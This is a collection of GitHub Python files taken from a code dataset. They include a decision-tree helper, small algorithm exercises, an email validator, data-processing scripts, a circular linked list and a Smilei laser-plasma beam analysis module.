cntrPt[0]\n    yMid = (parentPt[1] - cntrPt[1]) / 2.0 + cntrPt[1]\n    createPlot.ax1.text(xMid, yMid, txtString, va=\"center\", ha=\"center\", rotation=30)\n\n\ndef retrieveTree(i):\n    listOfTrees = [{'no surfacing': {0: 'no', 1: {'flippers': {0: 'no', 1: 'yes'}}}},\n                   {'no surfacing': {0: 'no', 1: {'flippers': {0: {'head': {0: 'no', 1: 'yes'}}, 1: 'no'}}}}\n                   ]\n    return listOfTrees[i]\n\n\n'''\n使用决策树的分类函数\n'''\n\n\ndef classify(inputTree, featLabels, testVec):\n    firstStr = inputTree.keys()[0]\n    secondDict = inputTree[firstStr]\n    featIndex = featLabels.index(firstStr)\n    key = testVec[featIndex]\n    valueOfFeat = secondDict[key]\n    if isinstance(valueOfFeat, dict):\n        classLabel = classify(valueOfFeat, featLabels, testVec)\n    else:\n        classLabel = valueOfFeat\n    return classLabel\n\ndef storeTree(inputTree,filename):\n    import pickle\n    fw = open(filename,'w')\n    pickle.dump(inputTree,fw)\n    fw.close()\n\ndef grabTree(filename):\n    import pickle\n    fr = open(filename)\n    return pickle.load(fr)\n\n\nif __name__ == '__main__':\n    dateSet, labes = create_data_set()\n    createPlot(retrieveTree(1))\n    print(retrieveTree(0), labes, [1, 0])\n    print(retrieveTree(0), labes, [1, 1])\n    # todo TypeError: file must have a 'write' attribute\n    # 应该是编码的问题，但是目前不知道如何解决 time:2019年02月24日10:24:50\n    print(storeTree(retrieveTree(0),'classifierStorage.txt'))\n    # print(grabTree('classifierStorage.txt'))\n\n","repo_name":"huohuo123/PythonProject","sub_path":"MachineLearning/supervisedLearning/TreePlotter/trees2.py","file_name":"trees2.py","file_ext":"py","file_size_in_byte":5639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"28007917288","text":"import sys\r\n\r\nS = 0  # 공집합으로 초기화\r\nALL = (1 << 20) - 1  # 모든 비트가 1인 값 미리 계산\r\n\r\nM = int(sys.stdin.readline())  # 연산의 수\r\n\r\nfor _ in range(M):\r\n    command = sys.stdin.readline().strip().split()\r\n    op = command[0]\r\n\r\n    if op != 'all' and op != 'empty':\r\n        x = int(command[1]) - 1\r\n\r\n    if op == 'add':\r\n        S |= (1 << x)\r\n    elif op == 'remove':\r\n        S &= ~(1 << x)\r\n    elif op == 'check':\r\n        sys.stdout.write('1\\n' if S & (1 << x) else '0\\n')\r\n    elif op == 'toggle':\r\n        S ^= (1 << x)\r\n    elif op == 'all':\r\n        S = ALL\r\n    elif op == 'empty':\r\n        S = 0\r\n","repo_name":"yein-lee/PS","sub_path":"백준/Silver/11723. 집합/집합.py","file_name":"집합.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"3556177579","text":"# Validates email addres to ensure it has @ and . characters\n\ndef validate_email(email):\n    while True: # Loops until the the email is correct.\n        if email.find('@') != -1 and email.find('.') != -1: # checks to make sure @ and . are in the email\n            if email.find('@') < email.find('.'): # checks to make sure that @ is before . in an email\n                return True\n            else:\n                print('\\nThe @ must come before . in the email\\n') \n                email = reenter_email(email) \n        else:\n            print('\\nMissing @ or . in the email\\n') \n            email = reenter_email(email)\n\ndef reenter_email(email):\n    return input(f'Enter the email address and press ENTER: ')\n\nemailTest = ['abdabc.abc', 'abd@abcabc', 'abc.abc@abc', 'abd@abc.abc']\n\nfor email in emailTest:\n    validate_email(email)   \n\n","repo_name":"cgisala/Project3_Spring2021","sub_path":"email_validation.py","file_name":"email_validation.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"6214785357","text":"import logging\nfrom typing import List\nfrom typing import Dict\n\nimport attr\nfrom thoth.storages import GraphDatabase\nfrom thoth.python import DigestsFetcherBase\n\n\n_LOGGER = logging.getLogger(__name__)\n\n\n@attr.s(slots=True)\nclass GraphDigestsFetcher(DigestsFetcherBase):  # type: ignore\n    \"\"\"Fetch digests from the graph database.\"\"\"\n\n    graph = attr.ib(type=GraphDatabase)\n\n    @graph.default\n    def _graph_default(self) -> GraphDatabase:\n        \"\"\"Get default graph instance if no explicitly provided.\"\"\"\n        graph = GraphDatabase()\n        graph.connect()\n        return graph\n\n    def fetch_digests(self, package_name: str, package_version: str) -> Dict[str, List[Dict[str, str]]]:\n        \"\"\"Fetch digests for the given package in specified version, consider only enabled indexes.\"\"\"\n        _LOGGER.debug(\n            \"Querying graph database for digests for package %r in version %r\",\n            package_name,\n            package_version,\n        )\n\n        result = {}\n        for index_url in self.graph.get_python_package_index_urls_all(enabled=True):\n            query_result = self.graph.get_python_package_hashes_sha256(\n                package_name, package_version, index_url, distinct=True\n            )\n            result[index_url] = [{\"sha256\": digest} for digest in query_result]\n\n        return result\n","repo_name":"thoth-station/adviser","sub_path":"thoth/adviser/digests_fetcher.py","file_name":"digests_fetcher.py","file_ext":"py","file_size_in_byte":1332,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"18"}
{"seq_id":"21052246932","text":"from collections import deque\n\n\ndef solver():\n    case = 1\n    while True:\n        PC = [int(x) for x in input().split(\" \")]\n        P = PC[0]\n        C = PC[1]\n        if P == 0 and C == 0:\n            break\n        q = deque()\n        for i in range(1, min(P, C) + 1):\n            q.append(i)\n        print(\"Case {0}:\".format(case))\n        case += 1\n        for i in range(C):\n            v = input().split(\" \")\n            if v[0] == \"N\":\n                value = q.popleft()\n                print(value)\n                q.append(value)\n            else:\n                k = int(v[1])\n                value = k\n                if k in q:\n                    q.remove(value)\n                q.appendleft(value)\n\n\nif __name__ == '__main__':\n    solver()\n","repo_name":"ThinhNgVhust/BigO_Algorithms","sub_path":"Blue/W3_Stack_And_Queue/4_That_is_Your_Queue.py","file_name":"4_That_is_Your_Queue.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"6532008915","text":"#!/usr/local/bin/python\n# -*- coding: utf-8 -*-\n\nimport requests\nimport json\n# import base64\nimport datetime\nimport numpy as np\n\nfrom robo.Util import util\n\nURL = 'http://127.0.0.1:8000/api/v1/article/'\n\ndef post_news(info):\n    date_now = datetime.datetime.now()\n    if(info['date'][0] > date_now):\n        date = info['date'][0]\n    else:\n        date = date_now\n    \n    str_date = date.strftime(\"%Y-%m-%d %H:%M:%S\")\n    \n    news = info['body'][0]\n    reduced_news = util.get_reduced_news(news)\n    content = reduced_news + '...'\n    \n    if(info['thumb'] == '0'):\n        img = ''\n    else:\n        img = info['thumb']\n    \n    payload = {\n            \"title\": info['title'][0],\n            \"slug\": info['slug'][0],\n            \"body\": content,\n            \"date\": str_date,\n            \"thumb\": img,\n            \"link\": info['link'][0],\n            \"author\": str(1),\n            \"categories\": info['categories']\n        }\n    \n    r = requests.request(\"POST\", URL, data=payload)\n    print('POST = ' + str(r))\n    print(r.text)\n        ","repo_name":"diegothuran/blog","sub_path":"robo/postagem/pessoas_post.py","file_name":"pessoas_post.py","file_ext":"py","file_size_in_byte":1041,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"20013804709","text":" \nfrom __future__ import division\nimport os\nimport math\n#import json\nimport random\n#import pprint\n#import scipy.misc\nimport numpy as np\nfrom time import gmtime, strftime\n#from osgeo import gdal\nimport glob\n#from skimage.transform import resize\n#from sklearn import preprocessing as pre\n#import matplotlib.pyplot as plt\nimport cv2\nimport pathlib\n#from sklearn.feature_extraction.image import extract_patches_2d\n#from skimage.util import view_as_windows\nimport sys\nimport pickle\n# Local\nimport deb\nimport argparse\nfrom sklearn.preprocessing import StandardScaler\nfrom skimage.util import view_as_windows\n\nfrom PIL import Image\nfrom osgeo import gdal\n\n#Input configuration\nparser = argparse.ArgumentParser(description='')\nparser.add_argument('-pl','--patch_len', dest='patch_len', type=int, default=5, help='# timesteps used to train')\nparser.add_argument('-ps','--patch_step', dest='patch_step', type=int, default=0, help='Debug')\nparser.add_argument('--band_n', dest='band_n', type=int, default=6, help='Debug')\nparser.add_argument('--path', dest='path', default=\"../../data/AP1_Para/\", help='Data path')\nparser.add_argument('--class_n', dest='class_n', type=int, default=2, help='Class number')\nparser.add_argument('-bs','--balance_samples_per_class', dest='balance_samples_per_class',type=int,default=None, help=\"Class number. 'local' or 'remote'\")\nparser.add_argument('-ttmn','--train_test_mask_name', dest='train_test_mask_name',default=\"TrainTestMask.tif\", help=\"Class number. 'local' or 'remote'\")\nparser.add_argument('-psv','--patches_save', dest='patches_save',default=True, help=\"Patches npy store\")\n\na = parser.parse_args()\nnp.set_printoptions(suppress=True)\n\n#class Patches(object):\n#\tdef __init__(self,a):\n#\t\tself.a=a\n#\t\tdeb.prints(self.a)\n#\tdef load_image():\n#\tdef train_test_split():\n#\tdef normalize():\n\n\n#def load_image():\ndef print_min_max_avg(in_):\n\tprint(np.min(in_),np.max(in_),np.average(in_))\n\t \ndef normalize(im, mask):\n\th,w,channels=im.shape\n\tim_flat=np.reshape(im,(h*w,channels))\n\tmask_flat=np.reshape(mask,-1)\n\n\tdeb.prints(im_flat.shape)\n\tdeb.prints(mask_flat.shape)\n\ttrain_flat=im_flat[mask_flat==255,:]\n\n\tdeb.prints(train_flat.shape)\n\n\tprint_min_max_avg(train_flat)\n\n\tscaler=StandardScaler()\n\tscaler.fit(train_flat)\n\ttrain_norm_flat=scaler.transform(train_flat)\n\n\tprint_min_max_avg(train_norm_flat)\n\n\tim_norm_flat=scaler.transform(im_flat)\n\tim_norm=np.reshape(im_norm_flat,(h,w,channels))\n\tdeb.prints(im_norm.shape)\n\t\n\n\tprint(\"FINISHED NORMALIZING, RESULT:\")\n\tprint_min_max_avg(im_norm)\n\treturn im_norm\n\ndef patches_extract(im,patch_len,band_n,step,debug=1):\n\tdeb.prints(band_n)\n\tif band_n != -1:\n\t\twindow_shape=(patch_len,patch_len,band_n)\n\telse:\n\t\twindow_shape=(patch_len,patch_len)\n\tif debug:\n\t\tdeb.prints(window_shape)\n\t\tdeb.prints(im.shape)\n\treturn np.squeeze(view_as_windows(im, window_shape, step=step))\n\ndef im_reconstruct_from_patches(patches,a):\n\tpatches=patches.reshape((a.patches_info['rows'], \\\n\t\ta.patches_info['cols']) + patches.shape[1:])\n\tout=np.zeros(a.im_shape[:-1])\n\tfor row in range(a.patches_info['rows']):\n\t\tfor col in range(a.patches_info['cols']):\n\t\t\tout[row*a.patch_step:(row+1)*a.patch_step, \\\n\t\t\t\tcol*a.patch_step:(col+1)*a.patch_step]= \\\n\t\t\t\tpatches[row,col]\n\treturn out\n\nif __name__ == '__main__':\n\tpath={}\n\tpath['raster']=a.path+'L8_224-66_ROI_clip.tif'\n\tpath['label']=a.path+'labels.tif'\n\tpath['train_test_mask']=a.path+'TrainTestMask.png'\n\t# Read image\n\tim = gdal.Open(path['raster'])\n\tim = np.array(im.ReadAsArray())\n\tim = np.transpose(im, (1, 2, 0))\n\tim = im[0:-1,0:-1,:] # Eliminate non used pixels\n\tim = im.astype(np.float32)\n\tdeb.prints(im.shape)\n\tdeb.prints(im.dtype)\n\n\ta.band_n=im.shape[2]\n\tdeb.prints(a.band_n)\n\tmasks={}\n\tmasks['train_test']=cv2.imread(path['train_test_mask'],0).astype(np.uint8)\n\tmasks['label']=cv2.imread(path['label'],-1).astype(np.uint8)\n\tmasks['label'][masks['label']==2]=1 # Only use 2 classes\n\tcv2.imwrite(\"label_original.png\",masks['label']*255)\n\tdeb.prints(masks['train_test'].shape)\n\tdeb.prints(masks['label'].shape)\n\t\n\t# ============ Normalize ========================\n\tim = normalize(im, masks['train_test'])\n\tdeb.prints(im.shape)\n\n\t# =========== Extract patches  ===================\n\tpatches={}\n\tpatches['im'] = patches_extract(im,a.patch_len,a.band_n,a.patch_step)\n\tpatches['label'] = patches_extract(masks['label'],a.patch_len,-1,a.patch_step)\n\tpatches['train_test'] = patches_extract(masks['train_test'],a.patch_len,-1,a.patch_step)\n\t\n\ta.im_shape=im.shape\n\ta.patches_info={}\n\ta.patches_info['rows']=patches['label'].shape[0]\n\ta.patches_info['cols']=patches['label'].shape[1]\n\n\tdeb.prints(patches['label'].shape)\n\tdeb.prints(patches['im'].shape)\n\t\n\t#print()\n\tpatches['im']=patches['im'].reshape((a.patches_info['rows']*a.patches_info['cols'],)+patches['im'].shape[2:])\n\tpatches['label']=patches['label'].reshape((a.patches_info['rows']*a.patches_info['cols'],)+patches['label'].shape[2:])\n\tpatches['train_test']=patches['train_test'].reshape((a.patches_info['rows']*a.patches_info['cols'],)+patches['train_test'].shape[2:])\n\t\n\t# ====== Reconstruct label. Just for assertion here. =====\n\tlabel_reconstruct = im_reconstruct_from_patches(patches['label'],a)\n\tdeb.prints(patches['im'].shape)\n\tdeb.prints(label_reconstruct.shape)\n\tdeb.prints(np.unique(label_reconstruct))\n\tcv2.imwrite(\"label_reconstruct.png\",label_reconstruct*255)\n\n\tid_train_test=np.zeros(patches['im'].shape[0])\n\t# ====== Train test split\n\tfor idx in range(patches['im'].shape[0]):\n\t\tif np.all(patches['train_test'][idx]>=1):\n\t\t\tid_train_test[idx]=True\n\t\telse:\n\t\t\tid_train_test[idx]=False\n\n\tnames={\"train\":{},\"test\":{}}\n\tnames['train']['im']='train_ims.npy'\n\n\n\tpatches_im_name=\"patches_im.npy\"\n\tpatches_label_name=\"patches_label.npy\"\n\tid_train_test_name=\"id_train_test.npy\"\n\t\n\tnp.save(patches_im_name,patches['im'])\n\tnp.save(patches_label_name,patches['label'])\t\n\tnp.save(id_train_test_name,id_train_test)\n\n\tdeb.prints(id_train_test.shape)\n\tdeb.prints(patches['im'][id_train_test==True].shape)\n\tdeb.prints(patches['im'][id_train_test==False].shape)\n\n\n\t# ============== Store patches into npy\n\n\n\t# Extract\n\t# Train test split\n\t#patches=Patches(a)\n\t#patches.load_image()\n\t#patches.train_test_split()\n\t#patches.normalize()\n\t#patches.extract()\n\n\n","repo_name":"DiMorten/wildfire_fcn","sub_path":"src/patch_extract/patches_extract.py","file_name":"patches_extract.py","file_ext":"py","file_size_in_byte":6205,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"32484410686","text":"from datetime import datetime\nfrom models.musics import Musics\nfrom db.crud import CRUDBase\n\n\nclass MusicUpdateService:\n    def __init__(self, music_id: dict, data: dict, permission: dict):\n        self.data = data\n        self.music_id = music_id\n        self.permission = permission\n        self.music_crud_base = CRUDBase(model=Musics)\n        self.status = False\n\n    def start(self) -> None:\n        self._run()\n\n    def _prep_data(self) -> None:\n        self.data[\"updated_at\"] = datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n\n    def _run(self) -> None:\n        self._prep_data()\n        self._run_update_pipeline()\n\n    def _run_update_pipeline(self) -> None:\n        role = int(self.permission.get(\"role\", 0))\n\n        if role == 1 or role == 2:\n            self._update()\n            return\n\n        if role == 3 and self._verify_user():\n            self._update()\n            return\n\n    def _verify_user(self) -> bool:\n        owner = self.permission.get(\"id\", 0)\n        music = self.music_crud_base.filter(\n            {\n                \"id\": self.music_id,\n                \"user_id\": owner,\n            }\n        )\n        return True if len(music) == 1 else False\n\n    def _update(self) -> None:\n        self.music_crud_base.update(id=self.music_id, data=self.data)\n        self.status = True if len(self.music_crud_base.errors) == 0 else False\n","repo_name":"dcostersabin/musical-bassoon","sub_path":"services/music_update.py","file_name":"music_update.py","file_ext":"py","file_size_in_byte":1360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"2672687430","text":"class Node:\n    def __init__(self,data):\n        self.data=data\n        self.ref=None\nclass CLinkedList:\n    def __init__(self):\n        self.head=None\n    def print_cll(self):\n        if self.head is None:\n            print('Linked list is empty')\n            return\n        if self.head.ref==self.head:\n            print(self.head.data)\n            return\n        print(self.head.data)\n        n=self.head.ref\n        while n is not self.head:\n            \n            print(n.data)\n            n=n.ref\n    def add_begin(self,data):\n        new_node=Node(data)\n        if self.head is None:\n            self.head=new_node\n            new_node.ref=self.head\n            return\n        n=self.head\n        new_node.ref=self.head\n        while n.ref is not self.head:\n            n=n.ref\n        n.ref=new_node\n        self.head=new_node\n        print('addded')\n    def add_after(self,x,data):\n        if self.head is None:\n            print('Linked list is empty what to delete')    \n            return\n        n=self.head\n        while n.ref is not self.head:\n            if n.data==x:\n                break\n            n=n.ref\n        if n.ref is self.head:\n            print('the value is not found in LL')\n            return\n        new_node=Node(data)\n        new_node.ref=n.ref\n        n.ref=new_node\n    def add_before(self,x,data):\n        if self.head is None:\n            print('Linked list is empty what to delete')    \n            return\n        n=self.head    \n        while n.ref is not self.head:\n            if n.ref.data==x:\n                break\n            n=n.ref\n        if n.ref is self.head:\n            print('the value is not found in LL')\n            return\n        new_node=Node(data)\n        new_node.ref=n.ref\n        n.ref=new_node\n        \n            \n                \nll=CLinkedList()  \n'''\nll.add_begin(2)\nll.add_begin(4)\nll.add_begin(30)\nll.add_after(4,10)'''\nll.add_before(10,30)\nll.print_cll()          \n        ","repo_name":"Dhananjay-Pawar23/Python","sub_path":"CircularLinkedList.py","file_name":"CircularLinkedList.py","file_ext":"py","file_size_in_byte":1949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"13723134800","text":"#!/usr/bin/python\n# Author:       F Massimo, implemented as function by K Cassou\n# Date:         2018-02-10, 2020-02-12, 2020-06-21 \n# Purpose:      set of function for LPA simulation with SMILEI\n# Source:       Python 3 (python2)\n#####################################################################\n\n### loading system module\nfrom __future__ import (division, print_function, absolute_import, unicode_literals)\nimport os, sys\nimport warnings\n\n# for execution on local SERA0X computers unit\nhost = os.popen('hostname -f').read()[:-1]\nhost_list = ['sera01.lal.in2p3.fr','sera03.lal.in2p3.fr','sera03.lal.in2p3.fr','sera04.lal.in2p3.fr']\nif host in host_list:\n    sys.path.append('/silver/PALLAS/simulations/smilei/postprocess/')\n\n# set the current path for happi download path\nmodule_filename = os.path.basename(__file__)\nmodule_filepath = __file__\nmodule_dirpath = module_filepath[:-len(module_filename)]\nos.chdir(module_dirpath)\n\n#print(module_dirpath)\n\n# happi import KC : to be modified to enough to install happi, wrong path  \ntry :\n    import happi\nexcept ImportError :\n    try:\n        os.system('svn checkout https://github.com/SmileiPIC/Smilei.git/trunk/happi/')\n        print('last version of happi has been downloaded with in:', os.path.abspath(module_dirpath))\n    except IOError:\n        print('download the happi module from github: https://github.com/SmileiPIC/Smilei.git and copy it in `lpa2` module directory')\n    pass\n\n# modules import \nimport statsmodels.api              # necessary to be located before statsmodels.stats import. \nimport statsmodels.stats as stats\nimport numpy as np\nimport scipy.constants as sc\nfrom scipy.optimize import curve_fit\nfrom scipy.signal import find_peaks, peak_widths\nimport matplotlib.pyplot as plt\n\n#################### Inputs ##############################################\n\nspecies_name   = \"electronfromion\"\nlambda0        = 0.8e-6 # Wavelength of the laser\n\ndefault_directory = os.path.abspath(os.getcwd())\nhome_directory     = os.path.expanduser(\"~\")\n\n# used to apply a filter in energy (m_e c^2 units, or Lorentz factor)\nE_min          = 0.\nE_max          = 500\n\nchunk_size     = 100000000  #Chunck of particles treated simultaneously\n\nhoriz_axis_conversion_factor = 0.512 # to convert from Smilei units to MeV\nhist_conversion_factor       = 1.    # if equal to 1, the charge is in pC\n\n################# Fundamental Physical constants ########################\neps0   = sc.epsilon_0;  # Electric permittivity of vacuum, F/m\nmu0    = sc.mu_0;       # Magnetic permittivity of vacuum, kg.m.A-2s-2\ne      = sc.e;          # Elementary charge, C\nEeV    = sc.eV;         # 1 eV = 1.6e-19 Joules\nc      = sc.c;          # Lightspeed, m/s\nme     = sc.m_e;        # Electron mass, kg\nmp     = sc.m_p;        # Proton mass, kg\nh      = sc.h;          # Planck's constant, J.s\nhbar   = sc.hbar\n\n########## Physical constants ##########################################\nomega0 = 2*np.pi*c/lambda0          # \nonel   = lambda0/ (2*np.pi)         # \nncrit  = eps0*me*omega0**2/e**2;    # critical density (m^-3, not cm^-3)\n\n\n######### useful functions #################################### \n\ndef lin_interp(x, y, i, half):\n    return x[i] + (x[i+1] - x[i]) * ((half - y[i]) / (y[i+1] - y[i]))\n\ndef half_max_x(x, y):\n    half = max(y)/2.0\n    signs = np.sign(np.add(y, -half))\n    zero_crossings = (signs[0:-2] != signs[1:-1])\n    zero_crossings_i = np.where(zero_crossings)[0]\n    return [lin_interp(x, y, zero_crossings_i[0], half),lin_interp(x, y, zero_crossings_i[1], half)]\n\ndef fwhm(x,y):\n    hmx = half_max_x(x,y)\n    return hmx[1]-hmx[0]\n\ndef gaussian(x, amp, xcenter, width):\n    return amp * np.exp(-(x-xcenter)**2 / width**2)\n\ndef weighted_median(data, weights):\n    \"\"\"\n    Args:\n      data (list or numpy.array): data\n      weights (list or numpy.array): weights\n    \"\"\"\n    data, weights = np.array(data).squeeze(), np.array(weights).squeeze()\n    s_data, s_weights = map(np.array, zip(*sorted(zip(data, weights))))\n    midpoint = 0.5 * sum(s_weights)\n    if any(weights > midpoint):\n        w_median = (data[weights == np.max(weights)])[0]\n    else:\n        cs_weights = np.cumsum(s_weights)\n        idx = np.where(cs_weights <= midpoint)[0][-1]\n        if cs_weights[idx] == midpoint:\n            w_median = np.mean(s_data[idx:idx+2])\n        else:\n            w_median = s_data[idx+1]\n    return w_median\n\ndef mad(data, axis=None):\n    \"\"\"\n    Compute *Median Absolute Deviation* of an array along given axis.\n    \"\"\"\n    # Median along given axis, but *keeping* the reduced axis so that\n    # result can still broadcast against a.\n    med = np.median(data, axis=axis, keepdims=True)\n    mad = np.median(np.absolute(data - med), axis=axis)  # MAD along given axis\n\n    return mad\n\ndef weighted_std(data, weights):\n    \"\"\"\n    Compute *weighted_standard Deviation* of an array along given axis.\n    \"\"\"    \n    d = stats.weightstats.DescrStatsW(data,weights)\n\n    return d.std\n\ndef weighted_mean(data, weights):\n    \"\"\"\n    Compute *weighted_mean* of an array along given axis.\n    \"\"\"    \n    d = stats.weightstats.DescrStatsW(data,weights)\n\n    return d.mean\n\ndef weighted_mad(data, weights):\n    \"\"\"\n    Compute *weighted_Median Absolute Deviation* of an array along given axis.\n    \"\"\"\n    wmed = weighted_median(data,weights)\n    wmad = weighted_median(np.absolute(data - wmed),weights)  # MAD along given axis\n    \n    return wmad\n\n\n########## load data with happi ##############################\n\ndef loadData(directory=default_directory):\n    \"\"\"loading data in the simulation directory and return an object pointing to the various \n    files, see smilei website\"\"\"\n    S = happi.Open(directory, show = False,verbose = False)\n    return S\n\n######### extract laser var ##############################\n\ndef getMaxinMovingWindow(S,var=\"Env_E_abs\"):\n    \"\"\" return the max of var on axis (r=0) for all timestep available\n    S : is the simulation output object return by happi.Open()\n    var : check namelist [\"Env_E_abs]\n    return a numpy array - var.max() and the timestep vector [0:iteration_max]\n    \"\"\"\n    # read all timestep Available\n    ts = S.Probe(0,var).getTimesteps()\n    data = np.max(S.Prove(0,var).getData(),axis=1)\n    varmax = np.stack((ts,data),axis=0)\n    return varmax\n\ndef getLasera0(S,timeStep,var='Env_E_abs'):\n    \"\"\" return the max of var on axis (r=0) for the timestep \n    S : is the simulation output object return by happi.Open()\n    timeStep : timestep smilei unit\n    var : check namelist [\"Env_E_abs]\n    return a numpy array - var.max() and the timestep vector [0:iteration_max]\n    \"\"\"\n    return np.max(S.Probe(0,var,timeStep).getData()[0])\n    \ndef getLaserWaist(S,timeStep,var='Env_E_abs'):\n    \"\"\" return the laser waist of Env or field `var` at the iteration\n    S : is the simulation output object return by happi.Open()\n    timestep : simulation timestep\n    var : check namelist [\"Env_E_abs\" or laser field] to be updated for AM geometry\n    return the waist evaluated with Gaussian fit in code units (lamda_0/2pi)\n    \"\"\"\n    temp = S.Probe(1,var,timeStep).getData()[0]\n    x_max,y_max = np.unravel_index(np.argmax(temp),temp.shape)\n    init_vals = [np.max(temp),y_max, 1.0]\n    a_val = temp[x_max,:]\n    y_val = np.arange(0,temp.shape[1],1)\n    # gaussian fit \n    best_vals, covar = curve_fit(gaussian, y_val, a_val, p0=init_vals)\n    return best_vals[2]\n\ndef getLaserPulselength(S,timeStep,var='Env_E_abs'):\n    \"\"\" return the laser pulse length of Env or field `var` at the iteration \n    S : is the simulation output object return by happi.Open()\n    timestep : simulation timestep\n    var : check namelist [\"Env_E_abs\" or laser field] to be updated for AM geometry\n    return the pulse length FWHM evaluated with Gaussian fit in code units (lamda_0/2pi)\n    \"\"\"\n    temp = S.Probe(1,var,timeStep).getData()[0]\n    x_max,y_max = np.unravel_index(np.argmax(temp),temp.shape)\n    init_vals = [np.max(temp),x_max, 1.0]\n    a_val = temp[:,y_max]\n    x_val = np.arange(0,temp.shape[0],1)\n    # gaussian fit slightly underestimate FWHM value\n    best_vals, _ = curve_fit(gaussian, x_val, a_val, p0=init_vals)\n    return best_vals[2]*2*np.sqrt(2*np.log(2))\n\n\n######### extract plasma profile ############################\n\ndef plasmaProfile(S):\n    \"\"\" return the electon plasma density  profile\n    S : is the simulation output object return by happi.Open()\n    return the numpy array - plasProfile (x,ne) e-/m^3\n    \"\"\"\n    nc = S.namelist.ncrit\n    ne = np.array(S.namelist.xh_values)*nc\n    plasProfile = np.array((S.namelist.xh_points,ne))\n    return plasProfile\n\ndef dopantProfile(S): \n    \"\"\" return the electon dopan density profile \n    S : is the simulation output object return by happi.Open()\n    return the numpy array - plasProfile (x,nN2) N2/m^3\n    \"\"\"\n    nc = S.namelist.ncrit\n    nd = np.array(S.namelist.xd_values)*nc\n    dopProfile = np.array((S.namelist.xd_points,nd))\n    return dopProfile\n\n######### extract beam parameter for one iteration ###########\n\ndef getBeamParam(S,iteration,species_name=\"electronfromion\",sort = False, E_min=50,E_max=520,chunk_size=100000000,print_flag=True,save_flag=False):\n    \"\"\"return beams paramater for the species_name of the Smilei simulation data\n    iteration : timestep\n    S : is the simulation output object return by happi.Open()\n    species_name :  [electronfromion], electron\n    E_min :         [0] energy filter min \n    E_max :         [400] energy filter max\n    printflag :     [True] print output on screen. \n    saveflag :      [False] True to save the data in an csv file\n     \"\"\"\n    ########## Read data from Track Particles Diag ############\n    track_part = S.TrackParticles(species = species_name, sort = sort, chunksize=chunk_size)\n    #print(\"Available timesteps = \",track_part.getAvailableTimesteps())\n    dt_adim    = S.namelist.dt\n    for particle_chunk in track_part.iterParticles(iteration, chunksize=chunk_size):\n        # Read data\n        #if print_flag==True:\n        #    print(particle_chunk.keys())\n        px           = particle_chunk[\"px\"]\n        py           = particle_chunk[\"py\"]\n        pz           = particle_chunk[\"pz\"]\n        x            = particle_chunk[\"x\"]\n        y            = particle_chunk[\"y\"]\n        z            = particle_chunk[\"z\"]\n        w            = particle_chunk[\"w\"]\n        p            = np.sqrt((px**2+py**2+pz**2))                # momentum\n        E            = np.sqrt((1.+p**2))\n        Nparticles   = np.size(w)\n        if print_flag == True:                                  # Number of particles read\n            print(\"Read \",Nparticles,\" particles from the file\")\n        total_weight = w.sum()\n        Q            = total_weight* e * ncrit * onel**3 * 10**(12) # Total charge in pC\n        if print_flag == True:  \n            print(\"Total charge before filter in energy= \",Q,\" pC\")\n        # Apply a filter on energy\n        filter       = np.intersect1d( np.where( E > E_min )[0] ,  np.where( E < E_max )[0] )\n        x            = x[filter]\n        y            = y[filter]\n        z            = z[filter]\n        px           = px[filter]\n        py           = py[filter]\n        pz           = pz[filter]\n        E            = E[filter]\n        w            = w[filter]\n        p            = p[filter]\n        total_weight = w.sum()\n        Q            = total_weight* e * ncrit * onel**3 * 10**(12) # Total charge in pC\n        if print_flag == True:  \n            print(\"Total charge after filter in Energy = \",Q,\" pC\")\n            print(\"Filter energy limits: \",E_min,\", \",E_max,\" (m_e c^2)\")\n        if total_weight > 0:\n            #Compute mean values\n            x_moy    = (x    *w).sum() / total_weight\n            y_moy    = (y    *w).sum() / total_weight\n            z_moy    = (z    *w).sum() / total_weight\n            #px_moy   = (px   *w).sum() / total_weight\n            py_moy   = (py   *w).sum() / total_weight\n            pz_moy   = (pz   *w).sum() / total_weight\n            # p_moy    = (p    *w).sum() / total_weight\n            #Place center of mass at the center of the coordinates\n            x  -= x_moy\n            y  -= y_moy\n            z  -= z_moy\n            #px -= px_moy\n            py -= py_moy\n            pz -= pz_moy\n            # Compute properties of the bunch\n            x2_moy   = (x**2 *w).sum() / total_weight\n            y2_moy   = (y**2 *w).sum() / total_weight\n            z2_moy   = (z**2 *w).sum() / total_weight\n            #px2_moy  = (px**2*w).sum() / total_weight\n            py2_moy  = (py**2*w).sum() / total_weight\n            pz2_moy  = (pz**2*w).sum() / total_weight\n            ypy_moy  = (y*py *w).sum() / total_weight\n            zpz_moy  = (z*pz *w).sum() / total_weight\n            py2ovpx2 = (py**2/px**2*w).sum()/total_weight #divergence y squared\n            pz2ovpx2 = (pz**2/px**2*w).sum()/total_weight\n\n            # normalized rms emittances based on Floettmann K. \"Some basic features of the beam emittance\" PRSTA, vol. 6, 3 (2003) \n            # https://link.aps.org/doi/10.1103/PhysRevSTAB.6.034202 \n            \n\n            emittancey = ( py2_moy*y2_moy - ypy_moy**2 )\n            emittancez = ( pz2_moy*z2_moy - zpz_moy**2 )\n            if emittancey > 0:\n                emittancey = np.sqrt(emittancey) * onel * 1e6 # [um] \n            else:\n                emittancey = 0.\n            if emittancez > 0:\n                emittancez = np.sqrt(emittancez) * onel * 1e6 # [um]\n            else:\n                emittancez = 0.\n\n            rmssize_longitudinal = 2*np.sqrt(x2_moy) * onel * 1e6 # [micron]\n            rmssize_y =            2*np.sqrt(y2_moy) * onel * 1e6 # [micron]\n            rmssize_z =            2*np.sqrt(z2_moy) * onel * 1e6 # [micron]\n            